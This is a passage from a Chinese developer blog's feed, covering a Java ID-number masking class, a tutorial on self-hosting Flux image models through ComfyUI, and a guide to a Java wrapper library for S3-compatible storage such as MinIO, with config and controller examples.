class_">BaseDesensitizer</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">desensitize</span><span class="params">(String value, String maskChar)</span> &#123;  </span><br><span class="line">        <span class="keyword">if</span> (value != <span class="literal">null</span> &amp;&amp; (value.length() == <span class="number">15</span> || value.length() == <span class="number">18</span>)) &#123;  </span><br><span class="line">            <span class="comment">// 脱敏中间部分  </span></span><br><span class="line">            <span class="type">int</span> <span class="variable">prefixLength</span> <span class="operator">=</span> <span class="number">6</span>;  </span><br><span class="line">            <span class="type">int</span> <span class="variable">suffixLength</span> <span class="operator">=</span> <span class="number">4</span>;  </span><br><span class="line">            <span class="type">int</span> <span class="variable">maskLength</span> <span class="operator">=</span> value.length() - prefixLength - suffixLength;  </span><br><span class="line">  </span><br><span class="line">            <span class="type">String</span> <span class="variable">prefix</span> <span class="operator">=</span> value.substring(<span class="number">0</span>, prefixLength);  </span><br><span class="line">            <span class="type">String</span> <span class="variable">suffix</span> <span class="operator">=</span> value.substring(value.length() - suffixLength);  </span><br><span class="line">            <span class="type">String</span> <span class="variable">maskedSection</span> <span class="operator">=</span> maskChar.repeat(maskLength);  </span><br><span class="line">            <span class="keyword">return</span> prefix + maskedSection + suffix;  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">return</span> value;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Override</span>  </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getDesensitizedRegex</span><span class="params">(String maskChar)</span> &#123;  </span><br><span class="line">        <span class="type">String</span> <span class="variable">escapedMaskChar</span> <span class="operator">=</span> Pattern.quote(maskChar);  </span><br><span class="line">        <span class="comment">// 身份证号可能是 15 位或 18 位，这里统一处理  </span></span><br><span class="line">        <span class="type">String</span> <span class="variable">maskPattern</span> <span class="operator">=</span> escapedMaskChar + <span class="string">&quot;+&quot;</span>;  </span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;^\\d&#123;6&#125;&quot;</span> + maskPattern + <span class="string">&quot;\\d&#123;4&#125;$&quot;</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/11/45691837c4fb73d06fcd2c4e7533e1ef.png" alt="demo中的示例实现"></p>]]></content>
    
    
    <summary type="html">脱敏组件</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="脱敏" scheme="https://blog.allbs.cn/tags/%E8%84%B1%E6%95%8F/"/>
    
  </entry>
  
  <entry>
    <title>开源可自部署的文生图ai大模型，效果比肩aimidjourney</title>
    <link href="https://blog.allbs.cn/posts/59125/"/>
    <id>https://blog.allbs.cn/posts/59125/</id>
    <published>2024-08-18T07:31:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言">前言</h2><p>本来想先搭载一个平台给大伙试试，但是考虑到很吃显卡需要GPU相关的服务器。买云服务器太贵，用自己家里面电脑跑的话又涉嫌对外提供Web服务，会被运营商封号，加上的模型能够生成你们懂的的那种图，这下好了，buff叠满，没一丝的可能搭载给你们体验。只能把教程发出来教你们自己去尝试了。前排提示，末尾有生成效果和我打包好的可以直接使用的包，包内内置三种低端点的模型，缺少最高端flex-dev的模型，需要的话vb自己去找资源。</p><h2 id="模型区分">模型区分</h2><ul><li>Flux Pro: 顶级模型只能通过API调用</li><li>Flux Dev: 开源但是不能商用，质量效果和pro类似</li><li>Flux Schnell: 高度提炼版，速度快，能商用。</li></ul><h2 id="开始搭建">开始搭建</h2><p>首先考虑到很多用户并不具备api调用的能力，所以先要准备一个ui交互的界面来方便操作。ComfyUI是一个具有<code>高度可配置</code>、<code>支持多种模型</code>、<code>跨平台支持</code>等特点的节点式界面。</p><h3 id="ComfyUI的下载使用">ComfyUI的下载使用</h3><p>开源地址: <a href="https://github.com/comfyanonymous/ComfyUI">https://github.com/comfyanonymous/ComfyUI</a></p><p>下载加压后备用</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/604f1c63902a173b7ba339e07055d083.png" alt="ui交互的下载使用"></p><h3 id="下载中文语言包">下载中文语言包</h3><p>考虑到很多人不一定安装了git，可以直接下载zip包解压到ComfyUI/custom_nodes目录下。</p><p>地址:<a href="https://github.com/AIGODLIKE/AIGODLIKE-ComfyUI-Translation">https://github.com/AIGODLIKE/AIGODLIKE-ComfyUI-Translation</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/2f62bdcbb65b6ac5c11f849ac3e1b3f4.png" alt="下载解压"></p><h3 id="下载CLIP模型">下载CLIP模型</h3><p>CLIP模型是由OpenAI开发的一种多模态模型，能够理解并关联自然语言和图像。CLIP的核心思想是在训练过程中通过对比学习的方式，将图像和文本映射到一个共享的向量空间中，从而实现文本和图像之间的相互理解和转换。<br>下载两个文件放到ComfyUI/models/clip/目录下</p><ul><li>显存超过32G，下载<a href="https://huggingface.co/comfyanonymous/flux_text_encoders/blob/main/t5xxl_fp16.safetensors">t5xxl_fp16.safetensors</a>,地址:<a href="https://huggingface.co/comfyanonymous/flux_text_encoders/blob/main/t5xxl_fp16.safetensors">https://huggingface.co/comfyanonymous/flux_text_encoders/blob/main/t5xxl_fp16.safetensors</a></li><li>没超过，下载<a href="https://huggingface.co/comfyanonymous/flux_text_encoders/blob/main/t5xxl_fp8_e4m3fn.safetensors">t5xxl_fp8_e4m3fn.safetensors</a>，地址:<a href="https://huggingface.co/comfyanonymous/flux_text_encoders/blob/main/t5xxl_fp8_e4m3fn.safetensors">https://huggingface.co/comfyanonymous/flux_text_encoders/blob/main/t5xxl_fp8_e4m3fn.safetensors</a></li><li>这个是必须下的，地址: <a href="https://huggingface.co/comfyanonymous/flux_text_encoders/blob/main/clip_l.safetensors">https://huggingface.co/comfyanonymous/flux_text_encoders/blob/main/clip_l.safetensors</a></li></ul><h3 id="下载-VAE-生成模型">下载 VAE 生成模型</h3><p>下载解压到ComfyUI/models/vae/目录下<br>下载地址:<a href="https://huggingface.co/black-forest-labs/FLUX.1-schnell/blob/main/ae.safetensors">https://huggingface.co/black-forest-labs/FLUX.1-schnell/blob/main/ae.safetensors</a></p><h3 id="下载最核心的大模型">下载最核心的大模型</h3><p>根据电脑的显卡配置下载不同的模型后解压到ComfyUI/models/unet/目录下。</p><ul><li>显存24G，下载<a href="https://huggingface.co/black-forest-labs/FLUX.1-dev">FLUX.1-dev</a>，地址<code>https://huggingface.co/black-forest-labs/FLUX.1-dev/tree/main</code></li><li>显存12G，下载<a href="https://huggingface.co/Kijai/flux-fp8">flux-fp8</a>，地址<code>https://huggingface.co/Kijai/flux-fp8/blob/main/flux1-dev-fp8.safetensors</code></li><li>显存还要低，下载<a href="https://huggingface.co/black-forest-labs/FLUX.1-schnell">FLUX.1-schnell</a>，地址<code>https://huggingface.co/black-forest-labs/FLUX.1-schnell/blob/main/flux1-schnell.safetensors</code></li><li>显卡实在垃圾，下载<a href="https://huggingface.co/Kijai/flux-fp8">flux-fp8</a>，地址<code>https://huggingface.co/Kijai/flux-fp8/blob/main/flux1-schnell-fp8.safetensors</code></li></ul><h3 id="运行">运行</h3><p>有n卡的跑这个bat即可<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/3c10d229c0c3aabc90537388bf913c5c.png" alt="开跑"></p><h3 id="设置中文">设置中文</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/ce4cc7a34cde65be41852eddb5c9b3d2.png" alt="设置中文"></p><h3 id="开始配置">开始配置</h3><p>打开网站:<a href="https://comfyanonymous.github.io/ComfyUI_examples/flux/">https://comfyanonymous.github.io/ComfyUI_examples/flux/</a></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/26b290a06e88216a735e001151089f67.png" alt="image.png"></p><p>将图片拖到刚才运行的网页中自动加载参数。效果如下:<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/233b8f1dd3ac6d154cd7b0a1d7e4346b.png" alt="image.png"></p><h3 id="下面就可以根据文字来生成图片了">下面就可以根据文字来生成图片了</h3><p>毕竟老外的模型，还是的英文提示词，如果最好将想好的中文先翻译为英文来使用。</p><p>演示一：村里发魅魔了</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/48661e9f3ae40a2514d37b5ebcdc0d3e.png" alt="提示语翻译"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/6c9185208070efbaa8b5e8ad8bb02071.png" alt="一个漂亮的长腿魅魔，金发蓝眼，有尖锐的美甲，蝙蝠般的翅膀和尾巴，白皙亮丽的皮肤，左手手腕弯曲，右手撑着腰，站在一个典型中国风的乡村中"></p><p>演示二：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/0c085236c15b018769c05eba5f9d9a8e.png" alt="一个坐在凳子上的东亚女性，瓜子脸，穿着古典旗袍，黑色长发，双手插在腰间，双脚左右交错"></p><p>演示三：</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/c7bff4885ed1a8a19ab3f10526a3a34a.png" alt="亚洲女孩"></p><p><strong>不可描述的图片我试了一下确实可以生成，但是这里就不给你们做演示了。</strong></p><h2 id="直接放好模型配置好中文的压缩包">直接放好模型配置好中文的压缩包</h2><p>通过百度网盘分享的文件：ComfyUI_windows_portable.rar<br>链接：<a href="https://pan.baidu.com/s/1YNDYTSlUw8S9t16gx2M_yA">https://pan.baidu.com/s/1YNDYTSlUw8S9t16gx2M_yA</a><br>提取码：rywi</p><p>解压后并运行bat后把同目录的图片拖入网页中</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/f544ecc22e14dc83b563abbbf4f5e539.png" alt="这个图片"></p>]]></content>
    
    
    <summary type="html">还可以生成色图</summary>
    
    
    
    <category term="ai" scheme="https://blog.allbs.cn/categories/ai/"/>
    
    
    <category term="ai" scheme="https://blog.allbs.cn/tags/ai/"/>
    
  </entry>
  
  <entry>
    <title>封装了支持S3协议的文件服务器(如minio、阿里云OSS、腾讯云)的相关操作，支持分片上传、断点续传、不经过后端服务上传</title>
    <link href="https://blog.allbs.cn/posts/37058/"/>
    <id>https://blog.allbs.cn/posts/37058/</id>
    <published>2024-08-13T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="包含的主要功能和示例">包含的主要功能和示例</h2><ul><li>创建bucket</li><li>删除bucket</li><li>文件上传</li><li>拷贝文件</li><li>删除文件</li><li>文件下载</li><li>设置文件标签</li><li>上传文件指定时间自动删除</li><li>上传文件并加密</li><li>分片上传</li><li>断点续传</li><li>生成预签名url，直接前端上传不经过后端</li></ul><h2 id="源码地址">源码地址</h2><p><a href="https://github.com/chenqi92/alltobs-oss">源码地址</a></p><h2 id="使用demo地址">使用demo地址</h2><p><a href="https://github.com/chenqi92/alltobs-demo/tree/master/alltobs-oss-demo">demo地址</a></p><h2 id="前置测试环境">前置测试环境</h2><p>首先使用docker-compose安装了最新的minio用于测试</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">&#x27;3&#x27;</span></span><br><span class="line"></span><br><span class="line">  <span class="attr">minio:</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">minio/minio</span></span><br><span class="line">    <span class="attr">container_name:</span> <span class="string">minio</span></span><br><span class="line">    <span class="attr">restart:</span> <span class="string">always</span></span><br><span class="line">    <span class="attr">ports:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;9000:9000&quot;</span> <span class="comment"># api端口</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">&quot;9001:9001&quot;</span> <span class="comment"># 控制台端口</span></span><br><span class="line">    <span class="attr">environment:</span></span><br><span class="line">      <span class="attr">MINIO_ROOT_USER:</span> <span class="string">&quot;miniouser&quot;</span>      <span class="comment"># 设置你的访问账户(用于控制台访问)</span></span><br><span class="line">      <span class="attr">MINIO_ROOT_PASSWORD:</span> <span class="string">&quot;123456789&quot;</span>  <span class="comment"># 设置你的访问密钥(用于控制台访问)</span></span><br><span class="line">    <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="string">/mnt/minio/files:/data</span>                   <span class="comment"># 将容器中的 /data 文件夹挂载到主机上的指定文件夹 我使用的是/mnt/minio/files</span></span><br><span class="line">    <span class="attr">command:</span> <span class="string">server</span> <span class="string">/data</span> <span class="string">--console-address</span> <span class="string">&quot;:9001&quot;</span></span><br></pre></td></tr></table></figure><h2 id="项目引入依赖">项目引入依赖</h2><p>这里说明一下cn.allbs这个group用于jdk1.8，com.alltobs用于jdk17+，但是cn.allbs中有一点点jdk17，遇到的话降级点版本。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.alltobs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>alltobs-oss<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="项目配置">项目配置</h2><h3 id="配置文件">配置文件</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">oss:</span></span><br><span class="line">  <span class="attr">endpoint:</span> <span class="string">http://xxx.xxx.xxx.xxx:9000</span></span><br><span class="line">  <span class="comment"># 所在地区</span></span><br><span class="line">  <span class="attr">region:</span> <span class="string">cn-north-1</span></span><br><span class="line">  <span class="comment"># minio账号或者</span></span><br><span class="line">  <span class="attr">access-key:</span> <span class="string">adadmin</span></span><br><span class="line">  <span class="comment"># 密码</span></span><br><span class="line">  <span class="attr">secret-key:</span> <span class="number">123456778</span></span><br><span class="line">  <span class="comment"># 设置一个默认的文件桶，比如不同项目使用同一个文件库，以项目为文件桶分隔</span></span><br><span class="line">  <span class="attr">bucket-name:</span> <span class="string">test</span></span><br><span class="line">  <span class="comment"># 设置会过期的子文件桶</span></span><br><span class="line">  <span class="attr">expiring-buckets:</span></span><br><span class="line">    <span class="attr">temp-bucket-1:</span> <span class="number">30</span>  <span class="comment"># 生命周期30天</span></span><br><span class="line">    <span class="attr">temp-bucket-2:</span> <span class="number">60</span>  <span class="comment"># 生命周期60天</span></span><br></pre></td></tr></table></figure><ul><li><code>endpoint</code>就是安装minio或者腾讯云、阿里云之类的对象储存地址</li><li><code>region</code>所在地区</li><li><code>access-key</code>可以直接使用控制台账号，但是建议在控制台中生成账号和密钥</li><li><code>secret-key</code>可以直接使用控制台密钥，但是建议在控制台中生成账号和密钥</li><li><code>bucket-name</code> 设置一个默认的文件桶，比如不同项目使用同一个文件库，以项目为文件桶分隔</li><li><code>expiring-buckets</code> 里面设置的是包含生命周期的文件夹，创建位置位于bucket-name下，比如bucket-name叫test,那么会在test目录下创建一个生命周期为30天的文件夹temp-bucket-1，生命周期为60天的文件夹temp-bucket-2</li></ul><h3 id="启动类注解-EnableAllbsOss">启动类注解<code>@EnableAllbsOss</code></h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/7015d4fb5a252f2db7a2a62e02298d6f.png" alt="启用"></p><h3 id="使用引入">使用引入</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">@Resource</span><br><span class="line">private OssTemplate ossTemplate;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/7f430e2f172c605c669875fd124f56c1.png" alt="使用"></p><h2 id="使用演示">使用演示</h2><p>以下所有方法都遵循一个原则，当bucket-name不为空时，所有操作都在这个bucket下进行。</p><h3 id="自动创建主目录和带过期时间的子目录">自动创建主目录和带过期时间的子目录</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/ceed18a32c4f64bd00a0b3ca775a8955.png" alt="配置"><br>就会自动创建文件桶如下，一个位于<code>test</code>目录下且十天后会自动删除的<code>expire-bucket-1</code><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/d35e2d1016aa6bd02c4f5bca55cb0a6c.png" alt="创建目录"></p><h3 id="创建bucket">创建bucket</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/createBucket&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> ResponseEntity&lt;String&gt; <span class="title function_">createBucket</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName)</span> &#123;  </span><br><span class="line">    ossTemplate.createBucket(bucketName);  </span><br><span class="line">    <span class="keyword">return</span> ResponseEntity.ok(<span class="string">&quot;Bucket created: &quot;</span> + bucketName);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/9581e176a9d3e94f361b6811b6b20312.png" alt="基于base-bucket创建文件桶"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/1370dd2a25a6e947d3ab35688407cbec.png" alt="bucket中的bucket"></p><h3 id="查询所有bucket">查询所有bucket</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/getAllBuckets&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;List&lt;String&gt;&gt; <span class="title function_">getAllBuckets</span><span class="params">()</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> R.ok(ossTemplate.getAllBuckets());  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/1ced808de75b7b68fe6d02e0292372b2.png" alt="image.png"></p><h3 id="删除指定bucket">删除指定bucket</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">@DeleteMapping(&quot;/removeBucket&quot;)  </span><br><span class="line">public R&lt;String&gt; removeBucket(@RequestParam String bucketName) &#123;  </span><br><span class="line">    ossTemplate.removeBucket(bucketName);  </span><br><span class="line">    return R.ok(&quot;Bucket removed: &quot; + bucketName);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/c7ed97e07519f9b1fd7fc7435c1b2663.png" alt="image.png"></p><h3 id="上传文件">上传文件</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/putObject&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">putObject</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> MultipartFile file)</span> &#123;  </span><br><span class="line">    <span class="type">String</span> <span class="variable">fileName</span> <span class="operator">=</span> file.getOriginalFilename();  </span><br><span class="line">    <span class="keyword">try</span> &#123;  </span><br><span class="line">        <span class="type">String</span> <span class="variable">uuid</span> <span class="operator">=</span> UUID.randomUUID() + <span class="string">&quot;.&quot;</span> + FileUtil.getFileType(fileName);  </span><br><span class="line">        ossTemplate.putObject(bucketName, uuid, file.getInputStream());  </span><br><span class="line">        <span class="keyword">return</span> R.ok(<span class="string">&quot;File uploaded: &quot;</span> + uuid);  </span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;  </span><br><span class="line">        <span class="keyword">return</span> R.fail(<span class="string">&quot;Failed to upload file: &quot;</span> + fileName);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/8ba27f26a86924f8464994c280dd1416.png" alt="上传文件"></p><h3 id="查询指定目录下指定前缀的文件">查询指定目录下指定前缀的文件</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/getAllObjectsByPrefix&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;Set&lt;String&gt;&gt; <span class="title function_">getAllObjectsByPrefix</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> String prefix)</span> &#123;   </span><br><span class="line">    <span class="keyword">return</span> R.ok(ossTemplate.getAllObjectsByPrefix(bucketName, prefix).stream().map(S3Object::key).collect(Collectors.toSet()));  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/c47783072c6ae608c185d7c96062e2a0.png" alt="image.png"></p><h3 id="查看文件-字节数组">查看文件(字节数组)</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/getObject&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;<span class="type">byte</span>[]&gt; getObject(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> String objectName) &#123;  </span><br><span class="line">    <span class="keyword">try</span> (<span class="type">var</span> <span class="variable">s3Object</span> <span class="operator">=</span> ossTemplate.getObject(bucketName, objectName)) &#123;  </span><br><span class="line">        <span class="keyword">return</span> R.ok(s3Object.readAllBytes());  </span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;  </span><br><span class="line">        <span class="keyword">return</span> R.fail(e.getLocalizedMessage());  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/d13f4710950e785aca116d36cc359029.png" alt="image.png"></p><h3 id="下载文件">下载文件</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/download&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">download</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> String objectName, HttpServletResponse response)</span> &#123;  </span><br><span class="line">    <span class="keyword">try</span> (ResponseInputStream&lt;GetObjectResponse&gt; inputStream = ossTemplate.getObject(bucketName, objectName);  </span><br><span class="line">         <span class="type">OutputStream</span> <span class="variable">outputStream</span> <span class="operator">=</span> response.getOutputStream()) &#123;  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 获取文件的Content-Type  </span></span><br><span class="line">        <span class="type">String</span> <span class="variable">contentType</span> <span class="operator">=</span> inputStream.response().contentType();  </span><br><span class="line">        response.setContentType(contentType);  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 设置响应头：Content-Disposition，用于浏览器下载文件时的文件名  </span></span><br><span class="line">        response.setHeader(<span class="string">&quot;Content-Disposition&quot;</span>, <span class="string">&quot;attachment; filename=\&quot;&quot;</span> + objectName + <span class="string">&quot;\&quot;&quot;</span>);  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 直接将输入流中的数据传输到输出流  </span></span><br><span class="line">        inputStream.transferTo(outputStream);  </span><br><span class="line">  </span><br><span class="line">        <span class="comment">// 刷新输出流，确保所有数据已写出  </span></span><br><span class="line">        outputStream.flush();  </span><br><span class="line">  </span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;  </span><br><span class="line">        <span class="comment">// 如果出错，设置响应状态为404  </span></span><br><span class="line">        response.setStatus(HttpServletResponse.SC_NOT_FOUND);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/c83fd31b64bcef1e75269a1bf1c77d38.png" alt="image.png"></p><h3 id="查看文件链接带过期时间">查看文件链接带过期时间</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/getObjectURL&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">getObjectURL</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> String objectName, <span class="meta">@RequestParam</span> <span class="type">int</span> minutes)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> R.ok(ossTemplate.getObjectURL(bucketName, objectName, minutes));  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/1bb5020b7b99ca00cac7bbeb30e6b938.png" alt="image.png"></p><h3 id="删除文件">删除文件</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@DeleteMapping(&quot;/removeObject&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">removeObject</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> String objectName)</span> &#123;  </span><br><span class="line">    ossTemplate.removeObject(bucketName, objectName);  </span><br><span class="line">    <span class="keyword">return</span> R.ok(<span class="string">&quot;Object removed: &quot;</span> + objectName);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/45b5b7d145519bedd804abc9056a044a.png" alt="image.png"></p><h3 id="文件复制">文件复制</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;/copyObject&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">copyObject</span><span class="params">(<span class="meta">@RequestParam</span> String sourceBucketName, <span class="meta">@RequestParam</span> String sourceKey,  </span></span><br><span class="line"><span class="params">                            <span class="meta">@RequestParam</span> String destinationBucketName, <span class="meta">@RequestParam</span> String destinationKey)</span> &#123;  </span><br><span class="line">    ossTemplate.copyObject(sourceBucketName, sourceKey, destinationBucketName, destinationKey);  </span><br><span class="line">    <span class="keyword">return</span> R.ok(<span class="string">&quot;Object copied from &quot;</span> + sourceKey + <span class="string">&quot; to &quot;</span> + destinationKey);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/e62bec521883d7ed3a6e0453b1224b24.png" alt="image.png"></p><h3 id="查询指定文件的访问权限">查询指定文件的访问权限</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/getObjectAcl&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> R&lt;String&gt; <span class="title function_">getObjectAcl</span><span class="params">(<span class="meta">@RequestParam</span> String bucketName, <span class="meta">@RequestParam</span> String objectName)</span> &#123;  </span><br><span class="line">    <span class="keyword">return</span> R.ok(ossTemplate.getObjectAcl(bucketName, objectName).toString());  